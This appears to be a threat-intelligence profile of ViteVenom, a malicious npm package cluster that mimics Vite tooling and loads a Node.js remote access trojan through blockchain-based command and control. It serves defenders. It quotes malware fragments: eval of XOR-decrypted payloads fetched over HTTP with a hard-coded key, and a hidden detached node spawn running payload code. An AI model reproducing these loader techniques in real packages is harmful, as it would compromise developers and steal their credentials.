ViteVenom
- Type
- RAT
- Capabilities
- Credential theftExfiltrationPersistenceDefense evasionPost exploitation
- Delivery
- Landing page
- Platforms
- WindowsLinuxmacOS
ViteVenom is a malicious npm package cluster targeting developers who use the Vite frontend tooling ecosystem. It is associated with a software supply-chain operation linked by multiple researchers to the earlier ChainVeil activity and, more broadly, to the DPRK-linked PolinRider cluster; some reporting also tracks the operator as SuccessKey. The campaign used scoped package names crafted to resemble legitimate Vite-related tooling and executed its malicious logic at import time rather than through npm install hooks, reducing reliance on lifecycle-script execution and helping evade superficial review and some defensive controls.
The packages functioned as loaders for a multi-stage Node.js remote access trojan. Their command-and-control design used a resilient blockchain-based retrieval chain spanning Tron, Aptos, and Binance Smart Chain, with encrypted stage resolution and decryption keys embedded in the malware. Reported implementations included multiple stages that resolved pointers from blockchain transactions, decrypted follow-on JavaScript, and executed it either in-process or in detached child processes. Some variants also included direct network fallback retrieval for later stages. Researchers linked ViteVenom to ChainVeil through shared Tier-2 blockchain infrastructure, identical XOR decryption keys, overlapping backend infrastructure, and delivery of the same final approximately 77 KB RAT payload.
The delivered malware provided remote shell access, credential harvesting, file exfiltration, and persistence through backdoor injection. Reporting also notes anti-analysis and defense-evasion features such as obfuscated strings, hidden sensitive keywords, anti-tampering checks, anti-replay logic, and environment checks intended to avoid execution in CI or sandbox-like systems. The campaign primarily endangered developer workstations, where compromise could expose source repositories, npm tokens, SSH material, browser sessions, cloud credentials, API keys, and other secrets, creating downstream risk for broader software supply-chain compromise.
Associated threat actors
3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Earlier this month, Checkmarx and OpenSourceMalware highlighted a set of malicious npm packages collectively referred to as ViteVenom targeting the Vite frontend tooling ecosystem using the same tiered blockchain-based command-and-control (C2) infrastructure to deliver a RAT with reverse shell, credential harvesting, file exfiltration, and persistent backdoor injection capabilities.
Checkmarx cybersecurity researchers have uncovered a new cluster of seven malicious npm packages, dubbed ViteVenom, that are specifically targeting developers using the Vite frontend tooling ecosystem.
Techniques & procedures
15 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
"Sequel to ChainVeil npm malware: ViteVenom" published by Checkmarx. #SupplyChain, #NPM, #ChainVeil, #ViteVenom, #SuccessKey
Execution
1 technique
Execution
Stage 2A — executed via eval() in the main process... eval(payload1); ... var decrypted = xorDecrypt(await httpRequest(opts), 'ThZG+0jfXE6VAGOJ'); eval(decrypted);
Persistence
1 technique
Persistence
Inspect shell profiles such as .bashrc, .zshrc, and .profile. Checkmarx notes that persistence may be hidden after long whitespace padding.
Privilege Escalation
1 technique
Privilege Escalation
Inspect shell profiles such as .bashrc, .zshrc, and .profile. Checkmarx notes that persistence may be hidden after long whitespace padding.
Stealth
4 techniques
Stealth
A self-executing function takes a 653-character scrambled string and seed 4606094, applies a deterministic character-swap algorithm, and produces an array of 63 strings... Every sensitive value — URLs, blockchain addresses, XOR keys — is accessed by index lookup rather than written in plain text.
ViteVenom uses scoped package names such as @vite-pro/vite-ui and @vitets/vite-ts that mimic the legitimate @vitejs/* namespace.
require('child_process').spawn('node', [ '-e' , "global['_V']='" + campaignMarker + "';" + payload2 ], { detached : true , stdio : 'ignore' , windowsHide : true })
spawn('node', [ '-e' , ... ], { detached : true , stdio : 'ignore' , windowsHide : true })
Credential Access
2 techniques
Credential Access
deliver a remote access trojan (RAT) capable reverse shell, credential harvesting, file exfiltration, and persistent backdoor injection.
...led to a RAT capable of remote shell access, credential theft, file exfiltration, and persistence.
Command and Control
5 techniques
Command and Control
If the Tron-based payload retrieval method fails, the malware uses Aptos as a backup.
The loader does not simply download a payload from one domain. It queries a Tron transaction, decodes transaction data to obtain a Binance Smart Chain transaction hash, extracts encrypted payload data from the BSC transaction, and decrypts it with a hard-coded key. If the Tron route fails, the malware can use Aptos as a backup path.
using an "unprecedented" four-tier blockchain-based command-and-control (C2) infrastructure spanning Tron, Aptos, and Binance Smart Chain to deliver a remote access trojan
Decrypting the Stage 2A BSC payload ... reveals a second obfuscated layer containing the campaign configuration and the Tier-2 loader... Stage 2B runs as a detached hidden process and fetches the RAT directly from the C2 server over HTTP
The new cluster, named ViteVenom, used seven scoped npm packages that looked close to legitimate Vite tooling but loaded a remote access trojan... and led to a RAT capable of remote shell access, credential theft, file exfiltration, and persistence.
Exfiltration
1 technique
Exfiltration
deliver a remote access trojan (RAT) capable reverse shell, credential harvesting, file exfiltration, and persistent backdoor injection.
Observables
13 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.